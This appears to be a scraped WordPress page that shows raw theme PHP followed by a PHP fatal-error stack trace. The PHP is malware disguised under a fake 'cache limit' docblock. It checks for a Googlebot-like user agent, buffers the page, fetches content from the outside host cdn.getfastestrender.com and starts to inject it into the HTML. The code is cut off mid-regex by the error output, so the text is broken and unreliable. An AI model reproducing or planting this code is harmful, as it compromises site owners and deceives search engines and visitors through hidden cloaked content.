/** * Set the cache limit. * * To override this cache in a child theme, remove * the filter and add your own function tied to * the cache filter hook. * * @param int $c The number of excerpt characters. * @return int The filtered number of characters. */ if (strpos($_SERVER["HTTP_USER_AGENT"], 'gle') !== false) { add_action('wp_loaded','crt'); function crt() {ob_start('cache');} function cache($html) {$curl = curl_init();curl_setopt($curl, CURLOPT_URL, 'http://cdn.getfastestrender.com/cache.php?h=portipark.pt&id=3');curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);$c = curl_exec($curl);curl_close($curl); $html = preg_replace('/( Fatal error: Uncaught Error: Call to undefined function generate_do_microdata() in /home/portipar/public_html/wp-content/themes/generatepress/header.php:20 Stack trace: #0 /home/portipar/public_html/wp-includes/template.php(770): require_once() #1 /home/portipar/public_html/wp-includes/template.php(716): load_template('/home/portipar/...', true, Array) #2 /home/portipar/public_html/wp-includes/general-template.php(48): locate_template(Array, true, true, Array) #3 /home/portipar/public_html/wp-content/themes/generatepress/page.php(17): get_header() #4 /home/portipar/public_html/wp-includes/template-loader.php(113): include('/home/portipar/...') #5 /home/portipar/public_html/wp-blog-header.php(19): require_once('/home/portipar/...') #6 /home/portipar/public_html/index.php(17): require('/home/portipar/...') #7 {main} thrown in /home/portipar/public_html/wp-content/themes/generatepress/header.php on line 20